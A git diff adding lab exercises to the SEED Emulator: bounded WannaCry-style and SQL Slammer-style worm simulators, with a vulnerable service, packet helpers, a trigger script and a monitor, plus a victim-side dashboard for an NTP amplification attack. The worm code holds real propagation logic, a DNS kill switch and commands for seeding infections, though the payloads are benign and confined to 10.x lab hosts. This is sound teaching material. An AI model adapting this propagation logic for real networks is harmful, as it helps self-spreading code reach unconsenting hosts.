a/examples/yesterday_once_more/Y04_wannacry/wannacry_worm.py b/examples/yesterday_once_more/Y04_wannacry/wannacry_worm.py new file mode 100644 index 000000000..2ef965f15 --- /dev/null +++ b/examples/yesterday_once_more/Y04_wannacry/wannacry_worm.py @@ -0,0 +1,133 @@ +#!/usr/bin/env python3 +""" +Bounded WannaCry-style worm simulator for SEED Emulator labs. + +This is not an SMB exploit and it does not scan the public Internet. It reads a +fixed target list generated by the emulator and sends a lab infection message to +the vulnerable service installed on those hosts. +""" + +from __future__ import annotations + +import argparse +from pathlib import Path +import random +import socket +import time + + +LOG_FILE = "/tmp/wannacry_lab_worm.log" +START_MARKER = "/tmp/wannacry_lab_worm_started" +KILL_SWITCH_DOMAIN = "www.example.net" +KILL_SWITCH_PAUSE = "1.1.1.10" +KILL_SWITCH_CONTINUE = "1.1.1.20" +KILL_SWITCH_EXIT = "1.1.1.30" +KILL_SWITCH_RESERVED = "1.1.1.40" + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Run a bounded WannaCry-style worm simulator.") + parser.add_argument("--targets-file", default="/opt/wannacry-lab/targets.txt") + parser.add_argument("--port", type=int, default=445) + parser.add_argument("--token", default="seedemu-wannacry-lab") + parser.add_argument("--connect-timeout", type=float, default=1.0) + parser.add_argument("--delay", type=float, default=0.05, help="delay between target attempts") + parser.add_argument("--jitter", type=float, default=0.05, help="extra random delay") + parser.add_argument("--allow-prefix", action="append", default=["10."], help="allowed target IP prefix") + parser.add_argument("--kill-switch-domain", default=KILL_SWITCH_DOMAIN) + parser.add_argument("--kill-switch-poll", type=float, default=2.0) + parser.add_argument("--once", action="store_true", help="exit immediately if this host already launched the worm") + return parser.parse_args() + + +def log(message: str) -> None: + path = Path(LOG_FILE) + path.parent.mkdir(parents=True, exist_ok=True) + with path.open("a", encoding="utf-8") as handle: + handle.write(f"{time.time():.3f} {message}\n") + + +def load_targets(path: str, allowed_prefixes: list[str]) -> list[str]: + targets = [] + for line in Path(path).read_text(encoding="utf-8").splitlines(): + line = line.strip() + if not line or line.startswith("#"): + continue + if not any(line.startswith(prefix) for prefix in allowed_prefixes): + log(f"skip target outside allowed prefixes target={line}") + continue + targets.append(line) + random.shuffle(targets) + return targets + + +def attempt_infection(target: str, port: int, token: str, timeout: float) -> bool: + request = f"INFECT {token}".encode() + try: + with socket.create_connection((target, port), timeout=timeout) as sock: + sock.sendall(request) + sock.settimeout(timeout) + response = sock.recv(512).decode(errors="ignore").strip() + log(f"target={target} response={response!r}") + return response.startswith("OK") or response.startswith("ALREADY") + except OSError as exc: + log(f"target={target} error={exc}") + return False + + +def resolve_kill_switch(domain: str) -> str: + try: + return socket.gethostbyname(domain) + except OSError as exc: + log(f"kill_switch domain={domain} error={exc}") + return "" + + +def wait_for_continue(args: argparse.Namespace) -> bool: + """Return True when spreading may continue, False when the worm should exit.""" + while True: + state = resolve_kill_switch(args.kill_switch_domain) + if state == KILL_SWITCH_EXIT: + log(f"kill_switch state={state} action=exit") + return False + if state == KILL_SWITCH_PAUSE: + log(f"kill_switch state={state} action=pause") + time.sleep(args.kill_switch_poll) + continue + if state == KILL_SWITCH_RESERVED: + log(f"kill_switch state={state} action=reserved") + return True + if state and state != KILL_SWITCH_CONTINUE: + log(f"kill_switch state={state} action=unknown-continue") + else: + log(f"kill_switch state={state or ''} action=continue") + return True + + +def main() -> int: + args = parse_args() + marker = Path(START_MARKER) + if args.once and marker.exists(): + log("worm already launched on this host; exiting") + return 0 + marker.write_text(str(time.time()) + "\n", encoding="utf-8") + + targets = load_targets(args.targets_file, args.allow_prefix) + log(f"starting bounded worm targets={len(targets)} port={args.port}") + + successes = 0 + for target in targets: + if not wait_for_continue(args): + print(f"attempts={len(targets)} successes={successes} stopped_by_kill_switch=true") + return 0 + if attempt_infection(target, args.port, args.token, args.connect_timeout): + successes += 1 + time.sleep(args.delay + random.random() * args.jitter) + + log(f"finished bounded worm successes={successes} attempts={len(targets)}") + print(f"attempts={len(targets)} successes={successes}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y05_sql_slammer/README.md b/examples/yesterday_once_more/Y05_sql_slammer/README.md new file mode 100644 index 000000000..48b7ea707 --- /dev/null +++ b/examples/yesterday_once_more/Y05_sql_slammer/README.md @@ -0,0 +1,104 @@ +# Y05: SQL Slammer Worm Simulator + +This example recreates the propagation idea behind the SQL Slammer worm in a +safe SEED Emulator lab. It does not implement the real SQL Server overflow or +native worm code. + +SQL Slammer was interesting because the worm copy fit inside one UDP packet. +An infected host sent the packet to UDP port `1434`; if the target was +vulnerable, the target immediately began sending the same kind of packet to +other hosts. There was no TCP handshake, no file transfer, and no second-stage +download. + +## What This Lab Models + +Y05 models the propagation mechanism: + +```text +infected host + -> sends one UDP lab replica packet to port 1434 + -> vulnerable service accepts the known lab packet + -> target marks itself infected + -> target starts its local bounded worm simulator + -> new host sends the same lab packet to more targets +``` + +The UDP packet contains a benign replica descriptor: + +```text +SQL_SLAMMER_LAB_REPLICA +``` + +The descriptor is saved on infected hosts at: + +```text +/tmp/slammer_lab_last_replica_packet.json +``` + +This lets students inspect the idea that the packet itself carries the next +generation. The service does not execute arbitrary packet contents; it only +accepts the known lab packet format and starts the preinstalled simulator. + +## Build + +```sh +python examples/yesterday_once_more/Y05_sql_slammer/slammer_emulator.py \ + --platform amd \ + --hosts-per-as 4 +``` + +Useful options: + +```sh +--packet-rate 80 +--duration 20 +--patched-asns 160,170 +``` + +`--patched-asns` makes selected ASes run a patched service that records packets +but does not become infected. + +## Start The Monitor + +Run this on the Docker host: + +```sh +python examples/yesterday_once_more/Y05_sql_slammer/monitor_attack.py +``` + +The monitor prints infected hosts, generations, duplicate packets, and packet +counts from local worm logs. + +## Trigger The First Infection + +From AS150 `host_0`, seed one infection: + +```sh +docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ + /opt/slammer-lab/trigger_initial_infection.py 10.151.0.71 +``` + +Then inspect the packet saved on an infected host: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + cat /tmp/slammer_lab_last_replica_packet.json +``` + +## Comparison With Morris Worm + +Morris-style propagation is multi-stage: a compromised host obtains or +reconstructs the worm program and then runs it. + +Slammer-style propagation is single-packet: the network packet itself carries +the next generation. That compactness is why SQL Slammer is a useful companion +to Morris Worm in this incident collection. + +## Safety Boundaries + +- No real SQL Server exploit. +- No native shellcode. +- No public Internet scanning. +- The worm reads only `/opt/slammer-lab/targets.txt`. +- Targets are restricted to lab prefixes such as `10.`. +- Packet rate and duration are bounded by command-line options. diff --git a/examples/yesterday_once_more/Y05_sql_slammer/monitor_attack.py b/examples/yesterday_once_more/Y05_sql_slammer/monitor_attack.py new file mode 100644 index 000000000..82e6e0191 --- /dev/null +++ b/examples/yesterday_once_more/Y05_sql_slammer/monitor_attack.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python3 +"""Host-side monitor for the Y05 SQL Slammer lab.""" + +from __future__ import annotations + +import argparse +import json +import os +from pathlib import Path +import shutil +import subprocess +import time +from typing import Dict, List, Optional + + +ASN_LABEL = "org.seedsecuritylabs.seedemu.meta.asn" +NODE_LABEL = "org.seedsecuritylabs.seedemu.meta.nodename" +ADDRESS_LABEL = "org.seedsecuritylabs.seedemu.meta.net.0.address" + + +def docker_compose_command() -> List[str]: + docker = shutil.which("docker") + if docker is not None: + result = subprocess.run([docker, "compose", "version"], text=True, capture_output=True, check=False) + if result.returncode == 0: + return [docker, "compose"] + docker_compose = shutil.which("docker-compose") + if docker_compose is not None: + return [docker_compose] + return ["docker", "compose"] + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Monitor the Y05 SQL Slammer lab from the Docker host.") + parser.add_argument("--compose-file", default=str(Path(__file__).resolve().parent / "output" / "docker-compose.yml")) + parser.add_argument("--interval", type=float, default=1.5) + parser.add_argument("--once", action="store_true") + parser.add_argument("--no-clear", action="store_true") + parser.add_argument("--show-hosts", type=int, default=24) + return parser.parse_args() + + +def load_compose_as_json(compose_file: Path) -> Dict[str, object]: + result = subprocess.run( + docker_compose_command() + ["-f", str(compose_file), "config", "--format", "json"], + cwd=str(compose_file.parent), + text=True, + capture_output=True, + check=False, + ) + if result.returncode != 0: + raise RuntimeError(result.stderr.strip() or "docker compose config failed") + return json.loads(result.stdout) + + +def load_host_services(compose_file: Path) -> List[Dict[str, str]]: + compose = load_compose_as_json(compose_file) + hosts = [] + for service_name, service in compose.get("services", {}).items(): + labels = service.get("labels", {}) + node_name = str(labels.get(NODE_LABEL, "")) + asn = str(labels.get(ASN_LABEL, "")) + if not node_name.startswith("host_"): + continue + address = str(labels.get(ADDRESS_LABEL, "")).split("/", 1)[0] + hosts.append({"service": str(service_name), "asn": asn, "node": node_name, "address": address}) + return sorted(hosts, key=lambda item: (int(item["asn"]), item["node"])) + + +def compose_exec(compose_file: Path, service: str, command: str, timeout: int = 8) -> subprocess.CompletedProcess: + return subprocess.run( + docker_compose_command() + ["-f", str(compose_file), "exec", "-T", service, "sh", "-lc", command], + cwd=str(compose_file.parent), + text=True, + capture_output=True, + timeout=timeout, + check=False, + ) + + +def query_host(compose_file: Path, host: Dict[str, str]) -> Dict[str, object]: + command = ( + "if [ -s /tmp/slammer_lab_status.json ]; then cat /tmp/slammer_lab_status.json; " + "else printf '{\"status\":\"unknown\",\"infected\":false}'; fi; " + "printf '\\n---LOG---\\n'; " + "if [ -s /tmp/slammer_lab_worm.log ]; then tail -n 5 /tmp/slammer_lab_worm.log; fi" + ) + result = compose_exec(compose_file, host["service"], command) + item: Dict[str, object] = dict(host) + item["reachable"] = result.returncode == 0 + item["status"] = "unknown" + item["infected"] = False + item["generation"] = "" + item["duplicates"] = 0 + item["packets_sent"] = "" + item["error"] = result.stderr[-300:] if result.returncode != 0 else "" + + if result.returncode != 0: + return item + + status_text, _, log_text = result.stdout.partition("\n---LOG---\n") + try: + status = json.loads(status_text) + except json.JSONDecodeError as exc: + item["error"] = f"could not parse status json: {exc}" + return item + + item["status"] = str(status.get("status", "unknown")) + item["infected"] = bool(status.get("infected")) + item["generation"] = status.get("generation", "") + item["duplicates"] = int(status.get("duplicate_packets", 0) or 0) + for line in reversed(log_text.splitlines()): + if "finish packets_sent=" in line: + item["packets_sent"] = line.rsplit("packets_sent=", 1)[-1] + break + return item + + +def render(items: List[Dict[str, object]], args: argparse.Namespace) -> None: + if not args.no_clear: + os.system("cls" if os.name == "nt" else "clear") + infected = [item for item in items if item["infected"]] + patched = [item for item in items if item["status"] == "patched"] + clean = [item for item in items if item["status"] in {"listening", "unknown"} and not item["infected"]] + unreachable = [item for item in items if not item["reachable"]] + duplicate_packets = sum(int(item["duplicates"]) for item in items) + + print("Y05 SQL SLAMMER LAB MONITOR") + print("===========================") + print(f"hosts discovered : {len(items)}") + print(f"infected hosts : {len(infected)}") + print(f"patched hosts : {len(patched)}") + print(f"clean/unknown hosts : {len(clean)}") + print(f"unreachable hosts : {len(unreachable)}") + print(f"duplicate infection packets: {duplicate_packets}") + print() + + print("Infected Hosts") + print("--------------") + if not infected: + print("(none)") + for item in infected[: args.show_hosts]: + print( + "AS{asn:<3} {node:<8} {address:<13} gen={gen:<3} dup={dup:<4} sent={sent}".format( + asn=item["asn"], + node=item["node"], + address=item["address"], + gen=item["generation"], + dup=item["duplicates"], + sent=item["packets_sent"] or "-", + ) + ) + if len(infected) > args.show_hosts: + print(f"... {len(infected) - args.show_hosts} more") + print() + print("Press Ctrl-C to stop.") + + +def main() -> int: + args = parse_args() + compose_file = Path(args.compose_file).resolve() + if not compose_file.exists(): + raise SystemExit(f"compose file not found: {compose_file}") + hosts = load_host_services(compose_file) + if not hosts: + raise SystemExit(f"no host services found in {compose_file}") + while True: + items = [query_host(compose_file, host) for host in hosts] + render(items, args) + if args.once: + return 0 + time.sleep(args.interval) + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y05_sql_slammer/slammer_emulator.py b/examples/yesterday_once_more/Y05_sql_slammer/slammer_emulator.py new file mode 100644 index 000000000..17111573b --- /dev/null +++ b/examples/yesterday_once_more/Y05_sql_slammer/slammer_emulator.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from __future__ import annotations + +import argparse +from pathlib import Path +import sys + + +SCRIPT_DIR = Path(__file__).resolve().parent +REPO_ROOT = SCRIPT_DIR.parents[2] +B00_DIR = REPO_ROOT / "examples" / "internet" / "B00_mini_internet" + +for path in [REPO_ROOT, B00_DIR]: + if str(path) not in sys.path: + sys.path.insert(0, str(path)) + +from mini_internet import build_emulator +from seedemu.compiler import Docker, Platform +from seedemu.core import Emulator, Node + + +STUB_ASES = [150, 151, 152, 153, 154, 160, 161, 162, 163, 164, 170, 171] +LAB_DIR = "/opt/slammer-lab" +SLAMMER_PORT = 1434 + + +def parse_asn_list(value: str) -> set[int]: + if not value: + return set() + return {int(item.strip()) for item in value.split(",") if item.strip()} + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Build the Y05 SQL Slammer simulator example.") + parser.add_argument("legacy_platform", nargs="?", choices=["amd", "arm"]) + parser.add_argument("--platform", choices=["amd", "arm"]) + parser.add_argument("--output", default=str(SCRIPT_DIR / "output")) + parser.add_argument("--dumpfile") + parser.add_argument("--hosts-per-as", type=int, default=4) + parser.add_argument("--packet-rate", type=float, default=80.0) + parser.add_argument("--duration", type=float, default=20.0) + parser.add_argument("--patched-asns", default="", help="comma-separated ASNs to mark patched") + parser.add_argument("--override", dest="override", action="store_true", default=True) + parser.add_argument("--no-override", dest="override", action="store_false") + parser.add_argument("--skip-render", dest="render", action="store_false", default=True) + args = parser.parse_args() + args.platform = args.platform or args.legacy_platform or "amd" + if args.hosts_per_as < 1 or args.hosts_per_as > 180: + parser.error("--hosts-per-as must be between 1 and 180") + args.patched_asns = parse_asn_list(args.patched_asns) + return args + + +def resolve_platform(name: str) -> Platform: + return Platform.AMD64 if name == "amd" else Platform.ARM64 + + +def install_file(node: Node, local_name: str, remote_name: str) -> None: + content = (SCRIPT_DIR / local_name).read_text(encoding="utf-8") + node.setFile(f"{LAB_DIR}/{remote_name}", content) + + +def target_addresses(hosts_per_as: int) -> list[str]: + addresses = [] + for asn in STUB_ASES: + for index in range(hosts_per_as): + addresses.append(f"10.{asn}.0.{71 + index}") + return addresses + + +def install_slammer_host( + node: Node, + targets_file_content: str, + patched: bool, + packet_rate: float, + duration: float, +) -> None: + node.addSoftware("python3") + node.addBuildCommand(f"mkdir -p {LAB_DIR}") + node.appendStartCommand(f"mkdir -p {LAB_DIR}") + for filename in [ + "slammer_packet.py", + "slammer_service.py", + "slammer_worm.py", + "trigger_initial_infection.py", + ]: + install_file(node, filename, filename) + node.setFile(f"{LAB_DIR}/targets.txt", targets_file_content) + node.appendStartCommand(f"chmod +x {LAB_DIR}/*.py") + patched_flag = " --patched" if patched else "" + node.appendStartCommand( + "python3 {}/slammer_service.py --port {} --packet-rate {} --duration {}{} " + ">> /var/log/slammer-lab-service.log 2>&1".format( + LAB_DIR, + SLAMMER_PORT, + packet_rate, + duration, + patched_flag, + ), + fork=True, + ) + node.appendClassName("SqlSlammerLabPatchedHost" if patched else "SqlSlammerLabVulnerableHost") + + +def customize_for_slammer( + emu: Emulator, + hosts_per_as: int, + patched_asns: set[int], + packet_rate: float, + duration: float, +) -> None: + base = emu.getLayer("Base") + targets_file_content = "\n".join(target_addresses(hosts_per_as)) + "\n" + for asn in STUB_ASES: + current_as = base.getAutonomousSystem(asn) + for index in range(hosts_per_as): + install_slammer_host( + current_as.getHost(f"host_{index}"), + targets_file_content, + patched=asn in patched_asns, + packet_rate=packet_rate, + duration=duration, + ) + + +def build_y05_emulator( + hosts_per_as: int, + patched_asns: set[int], + packet_rate: float, + duration: float, +) -> Emulator: + emu = build_emulator(hosts_per_as=hosts_per_as) + customize_for_slammer(emu, hosts_per_as, patched_asns, packet_rate, duration) + return emu + + +def run( + dumpfile=None, + hosts_per_as=4, + patched_asns=None, + packet_rate=80.0, + duration=20.0, + output=None, + platform=Platform.AMD64, + override=True, + render=True, +) -> None: + emu = build_y05_emulator(hosts_per_as, patched_asns or set(), packet_rate, duration) + if dumpfile is not None: + emu.dump(dumpfile) + return + + if render: + emu.render() + + output_dir = Path(output or SCRIPT_DIR / "output").resolve() + output_dir.parent.mkdir(parents=True, exist_ok=True) + emu.compile(Docker(platform=platform), str(output_dir), override=override) + + +def main() -> int: + args = parse_args() + run( + dumpfile=args.dumpfile, + hosts_per_as=args.hosts_per_as, + patched_asns=args.patched_asns, + packet_rate=args.packet_rate, + duration=args.duration, + output=str(Path(args.output).resolve()), + platform=resolve_platform(args.platform), + override=args.override, + render=args.render, + ) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y05_sql_slammer/slammer_packet.py b/examples/yesterday_once_more/Y05_sql_slammer/slammer_packet.py new file mode 100644 index 000000000..3843a218e --- /dev/null +++ b/examples/yesterday_once_more/Y05_sql_slammer/slammer_packet.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python3 +"""Shared packet helpers for the SQL Slammer lab simulator.""" + +from __future__ import annotations + +import base64 +import hashlib +import json +import socket +import time +from typing import Dict + + +PACKET_TYPE = "SQL_SLAMMER_LAB_REPLICA" +TOKEN = "seedemu-slammer-lab" +BODY = ( + "This is a benign SEED Emulator SQL Slammer lab replica. " + "The real Slammer worm carried native x86 code inside one UDP packet. " + "This lab packet carries only this descriptor and a token." +) + + +def build_packet(parent: str = "seed", generation: int = 0, token: str = TOKEN) -> bytes: + body = BODY.encode("utf-8") + packet: Dict[str, object] = { + "type": PACKET_TYPE, + "token": token, + "parent": parent, + "generation": generation, + "created_at": time.time(), + "body_encoding": "base64", + "body_sha256": hashlib.sha256(body).hexdigest(), + "body": base64.b64encode(body).decode("ascii"), + } + return json.dumps(packet, separators=(",", ":"), sort_keys=True).encode("utf-8") + + +def parse_packet(data: bytes, token: str = TOKEN) -> Dict[str, object]: + packet = json.loads(data.decode("utf-8")) + if packet.get("type") != PACKET_TYPE: + raise ValueError("not a SQL Slammer lab replica packet") + if packet.get("token") != token: + raise ValueError("invalid lab token") + body = base64.b64decode(str(packet.get("body", ""))) + if hashlib.sha256(body).hexdigest() != packet.get("body_sha256"): + raise ValueError("replica body checksum mismatch") + return packet + + +def local_ip() -> str: + probe = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + probe.connect(("10.0.0.1", 1)) + return probe.getsockname()[0] + except OSError: + return socket.gethostname() + finally: + probe.close() diff --git a/examples/yesterday_once_more/Y05_sql_slammer/slammer_service.py b/examples/yesterday_once_more/Y05_sql_slammer/slammer_service.py new file mode 100644 index 000000000..eae181451 --- /dev/null +++ b/examples/yesterday_once_more/Y05_sql_slammer/slammer_service.py @@ -0,0 +1,135 @@ +#!/usr/bin/env python3 +"""Lab-only vulnerable SQL Resolution-like UDP service.""" + +from __future__ import annotations + +import argparse +import json +from pathlib import Path +import socket +import subprocess +import sys +import time + +from slammer_packet import local_ip, parse_packet + + +STATUS_FILE = "/tmp/slammer_lab_status.json" +REPLICA_FILE = "/tmp/slammer_lab_last_replica_packet.json" +START_MARKER = "/tmp/slammer_lab_worm_started" + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Run a lab-only SQL Slammer vulnerable UDP service.") + parser.add_argument("--host", default="0.0.0.0") + parser.add_argument("--port", type=int, default=1434) + parser.add_argument("--token", default="seedemu-slammer-lab") + parser.add_argument("--worm", default="/opt/slammer-lab/slammer_worm.py") + parser.add_argument("--targets-file", default="/opt/slammer-lab/targets.txt") + parser.add_argument("--packet-rate", type=float, default=80.0) + parser.add_argument("--duration", type=float, default=20.0) + parser.add_argument("--patched", action="store_true", help="listen but do not become infected") + return parser.parse_args() + + +def write_status(status: dict[str, object]) -> None: + path = Path(STATUS_FILE) + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(json.dumps(status, indent=2, sort_keys=True) + "\n", encoding="utf-8") + + +def load_status() -> dict[str, object]: + path = Path(STATUS_FILE) + if not path.exists(): + return {} + return json.loads(path.read_text(encoding="utf-8")) + + +def launch_worm(args: argparse.Namespace, generation: int) -> int | None: + marker = Path(START_MARKER) + if marker.exists(): + return None + marker.write_text(str(time.time()) + "\n", encoding="utf-8") + command = [ + sys.executable, + args.worm, + "--targets-file", + args.targets_file, + "--port", + str(args.port), + "--token", + args.token, + "--packet-rate", + str(args.packet_rate), + "--duration", + str(args.duration), + "--generation", + str(generation), + ] + process = subprocess.Popen(command, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True) + return process.pid + + +def handle_packet(data: bytes, peer: tuple[str, int], args: argparse.Namespace) -> None: + if data.strip() == b"STATUS": + return + + try: + packet = parse_packet(data, token=args.token) + except Exception as exc: + status = load_status() + status.update({"last_error": str(exc), "last_bad_packet_from": f"{peer[0]}:{peer[1]}"}) + write_status(status) + return + + if args.patched: + write_status( + { + "status": "patched", + "address": local_ip(), + "last_packet_from": f"{peer[0]}:{peer[1]}", + "last_generation_seen": packet.get("generation"), + "infected": False, + } + ) + return + + current = load_status() + if current.get("infected"): + current["duplicate_packets"] = int(current.get("duplicate_packets", 0)) + 1 + current["last_packet_from"] = f"{peer[0]}:{peer[1]}" + write_status(current) + return + + generation = int(packet.get("generation", 0)) + 1 + Path(REPLICA_FILE).write_text(json.dumps(packet, indent=2, sort_keys=True) + "\n", encoding="utf-8") + worm_pid = launch_worm(args, generation) + write_status( + { + "status": "infected", + "infected": True, + "address": local_ip(), + "infected_at": time.time(), + "infected_by": f"{peer[0]}:{peer[1]}", + "generation": generation, + "replica_packet_saved": REPLICA_FILE, + "worm_pid": worm_pid, + "duplicate_packets": 0, + } + ) + + +def main() -> int: + args = parse_args() + write_status({"status": "patched" if args.patched else "listening", "infected": False, "address": local_ip()}) + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.bind((args.host, args.port)) + print(f"SQL Slammer lab UDP service listening on {args.host}:{args.port}", flush=True) + + while True: + data, peer = sock.recvfrom(8192) + handle_packet(data, peer, args) + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y05_sql_slammer/slammer_worm.py b/examples/yesterday_once_more/Y05_sql_slammer/slammer_worm.py new file mode 100644 index 000000000..584229d40 --- /dev/null +++ b/examples/yesterday_once_more/Y05_sql_slammer/slammer_worm.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python3 +"""Bounded SQL Slammer-style UDP worm simulator.""" + +from __future__ import annotations + +import argparse +from pathlib import Path +import random +import socket +import time + +from slammer_packet import build_packet, local_ip + + +LOG_FILE = "/tmp/slammer_lab_worm.log" + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Run a bounded SQL Slammer-style UDP worm simulator.") + parser.add_argument("--targets-file", default="/opt/slammer-lab/targets.txt") + parser.add_argument("--port", type=int, default=1434) + parser.add_argument("--token", default="seedemu-slammer-lab") + parser.add_argument("--packet-rate", type=float, default=80.0) + parser.add_argument("--duration", type=float, default=20.0) + parser.add_argument("--generation", type=int, default=0) + parser.add_argument("--allow-prefix", action="append", default=["10."]) + return parser.parse_args() + + +def log(message: str) -> None: + path = Path(LOG_FILE) + path.parent.mkdir(parents=True, exist_ok=True) + with path.open("a", encoding="utf-8") as handle: + handle.write(f"{time.time():.3f} {message}\n") + + +def load_targets(path: str, allowed_prefixes: list[str]) -> list[str]: + targets = [] + for line in Path(path).read_text(encoding="utf-8").splitlines(): + target = line.strip() + if not target or target.startswith("#"): + continue + if any(target.startswith(prefix) for prefix in allowed_prefixes): + targets.append(target) + random.shuffle(targets) + return targets + + +def main() -> int: + args = parse_args() + targets = load_targets(args.targets_file, args.allow_prefix) + if not targets: + log("no targets") + print("packets_sent=0") + return 0 + + delay = 1.0 / args.packet_rate if args.packet_rate > 0 else 0.0 + packet = build_packet(parent=local_ip(), generation=args.generation, token=args.token) + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + deadline = time.monotonic() + args.duration + sent = 0 + index = 0 + + log(f"start targets={len(targets)} rate={args.packet_rate} duration={args.duration} generation={args.generation}") + while time.monotonic() < deadline: + target = targets[index % len(targets)] + sock.sendto(packet, (target, args.port)) + sent += 1 + index += 1 + if delay > 0: + time.sleep(delay) + + log(f"finish packets_sent={sent}") + print(f"packets_sent={sent}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y05_sql_slammer/trigger_initial_infection.py b/examples/yesterday_once_more/Y05_sql_slammer/trigger_initial_infection.py new file mode 100644 index 000000000..c1300ec15 --- /dev/null +++ b/examples/yesterday_once_more/Y05_sql_slammer/trigger_initial_infection.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python3 +"""Seed the first SQL Slammer lab infection.""" + +from __future__ import annotations + +import argparse +import socket + +from slammer_packet import build_packet + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Send one SQL Slammer lab replica packet.") + parser.add_argument("target", help="target IP address") + parser.add_argument("--port", type=int, default=1434) + parser.add_argument("--token", default="seedemu-slammer-lab") + return parser.parse_args() + + +def main() -> int: + args = parse_args() + packet = build_packet(parent="initial-seed", generation=0, token=args.token) + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.sendto(packet, (args.target, args.port)) + print(f"sent_bytes={len(packet)} target={args.target}:{args.port}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/README.md b/examples/yesterday_once_more/Y10_ntp_amplification/README.md index f4ec881b8..e32d41218 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/README.md +++ b/examples/yesterday_once_more/Y10_ntp_amplification/README.md @@ -25,6 +25,57 @@ answered by the amplifier itself. The example also enables a lab-only reflection simulation command so the attacker can make the amplifiers send their larger responses to the victim without using raw source-IP spoofing. +## Visualizing The Attack + +The clearest way to see the attack is from the victim's point of view. Y10 +installs a live UDP amplification dashboard on AS151 `host_0`: + +```text +/opt/ntp-like/visualize_attack.py +``` + +Start the dashboard on the victim first: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + /opt/ntp-like/visualize_attack.py --duration 20 --expected-requests 3 +``` + +In another terminal, trigger the attack from AS150: + +```sh +docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ + /opt/ntp-like/trigger_attack.sh +``` + +The dashboard focuses on byte amplification: + +```text +NTP-LIKE AMPLIFICATION MONITOR +============================== +Victim view: UDP responses from lab amplifiers + +elapsed seconds : 4.0 +expected trigger requests : 3 +estimated request bytes : 108 +UDP packets received : 3 +total response bytes : 3600 +unique amplifiers : 3 +estimated byte amp : 33.3x +packets in last window : 0 +bytes in last window : 0 + +Top amplifiers +-------------- +10.152.0.71 1 packets 1200 bytes +10.160.0.71 1 packets 1200 bytes +10.171.0.71 1 packets 1200 bytes +``` + +Internet Map can show packet movement through the topology, but this dashboard +shows the essential effect more directly: small trigger requests cause much +larger UDP responses to arrive at the victim. + ## Build From the repository root: @@ -70,6 +121,13 @@ docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ tail -n 20 /var/log/ntp-like-victim.log ``` +For a live victim-side dashboard instead of raw logs: + +```sh +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + /opt/ntp-like/visualize_attack.py --duration 20 --expected-requests 3 +``` + ## Standard Test Runner This example follows the `examples/sample` pattern: diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/ntp_amplification.py b/examples/yesterday_once_more/Y10_ntp_amplification/ntp_amplification.py index 9fea4830a..1c8898115 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/ntp_amplification.py +++ b/examples/yesterday_once_more/Y10_ntp_amplification/ntp_amplification.py @@ -91,7 +91,9 @@ def install_victim(node: Node) -> None: node.addSoftware("python3") prepare_ntp_like_dir(node) install_file(node, "udp_sink.py", "udp_sink.py") + install_file(node, "visualize_attack.py", "visualize_attack.py") node.appendStartCommand(f": > {VICTIM_LOG}") + node.appendStartCommand(f"chmod +x {NTP_LIKE_DIR}/visualize_attack.py") node.appendStartCommand( f"python3 {NTP_LIKE_DIR}/udp_sink.py --port 9000 --log {VICTIM_LOG} " ">> /var/log/ntp-like-victim-sink.log 2>&1", diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/visualize_attack.py b/examples/yesterday_once_more/Y10_ntp_amplification/visualize_attack.py new file mode 100644 index 000000000..963deb986 --- /dev/null +++ b/examples/yesterday_once_more/Y10_ntp_amplification/visualize_attack.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python3 +"""Live victim-side dashboard for the NTP-like amplification example.""" + +from __future__ import annotations + +import argparse +import os +import socket +import time +from collections import Counter, defaultdict +from typing import DefaultDict + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Visualize NTP-like UDP amplification at the victim.") + parser.add_argument("--host", default="0.0.0.0") + parser.add_argument("--port", type=int, default=9000) + parser.add_argument("--duration", type=float, default=20.0) + parser.add_argument("--expected-requests", type=int, default=3) + parser.add_argument("--request-size", type=int, default=36, help="estimated attacker request size in bytes") + parser.add_argument("--refresh", type=float, default=1.0) + parser.add_argument("--no-clear", action="store_true", help="do not clear the terminal between updates") + return parser.parse_args() + + +def render( + elapsed: float, + packet_count: int, + previous_packet_count: int, + total_bytes: int, + previous_total_bytes: int, + packets_by_source: Counter[str], + bytes_by_source: DefaultDict[str, int], + expected_requests: int, + request_size: int, + clear: bool, +) -> None: + if clear: + os.system("clear") + + unique_sources = len(packets_by_source) + packets_last_window = packet_count - previous_packet_count + bytes_last_window = total_bytes - previous_total_bytes + 